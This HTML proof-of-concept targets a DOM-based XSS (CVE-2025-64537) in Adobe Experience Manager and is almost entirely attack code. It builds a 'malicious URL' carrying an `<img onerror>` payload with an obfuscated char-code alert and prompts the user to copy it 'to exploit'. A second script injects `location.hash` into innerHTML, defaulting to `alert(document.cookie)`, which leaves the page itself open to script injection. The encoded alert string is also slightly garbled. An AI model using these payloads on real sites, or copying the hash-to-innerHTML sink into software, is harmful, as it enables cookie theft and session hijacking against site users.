<!-- CVE-2025-64537 PoC - DOM-based XSS in Adobe Experience Manager -->
<!-- This PoC demonstrates how an attacker could exploit the DOM XSS vulnerability -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-64537 PoC</title>
</head>
<body>
<h1>DOM-based XSS PoC for CVE-2025-64537</h1>
<p>Adobe Experience Manager versions <= 6.5.23</p>
<!-- Malicious URL that triggers the XSS -->
<a href="javascript:void(0)" onclick="generateXSSPayload()">Click to generate malicious URL</a>
<script>
// Function to generate the malicious URL
function generateXSSPayload() {
// The vulnerable parameter that gets reflected in DOM without sanitization
const vulnerableParam = '?param=<img src=x onerror="alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,54,52,53,51,37,32,80,111,67,32,69,120,112,108,111,105,116,101,100))">';
// Simulated vulnerable endpoint
const baseUrl = 'https://vulnerable-aem-instance.com/content';
const maliciousUrl = baseUrl + vulnerableParam;
// Display the payload
alert('Malicious URL:\n' + maliciousUrl);
console.log('PoC URL:', maliciousUrl);
// Copy to clipboard demonstration
prompt('Copy this URL to exploit:', maliciousUrl);
}
// Simulated vulnerable code pattern found in Adobe Experience Manager
function simulateVulnerableCode() {
// This simulates how the vulnerability works
// Vulnerable: Direct DOM manipulation with user input
// var userInput = location.hash.substring(1);
// document.getElementById('output').innerHTML = userInput;
// Safe: Using textContent instead of innerHTML
// document.getElementById('output').textContent = userInput;
console.log('Vulnerable pattern: innerHTML = userInput');
console.log('Safe pattern: textContent = userInput');
}
// Execute demonstration
simulateVulnerableCode();
</script>
<!-- Simulated vulnerable page content -->
<div id="vulnerable-output"></div>
<script>
// Simulating the vulnerable code behavior
// In real exploitation, this would read from URL params or location hash
const simulatedInput = location.hash.substring(1) ||
'<img src=x onerror="alert(document.cookie)">';
// VULNERABLE: This would execute the XSS payload
// document.getElementById('vulnerable-output').innerHTML = simulatedInput;
// For demonstration, we show what would happen
document.getElementById('vulnerable-output').innerHTML =
'<em>Simulated vulnerable output (XSS would execute here):</em> ' + simulatedInput;
</script>
</body>
</html>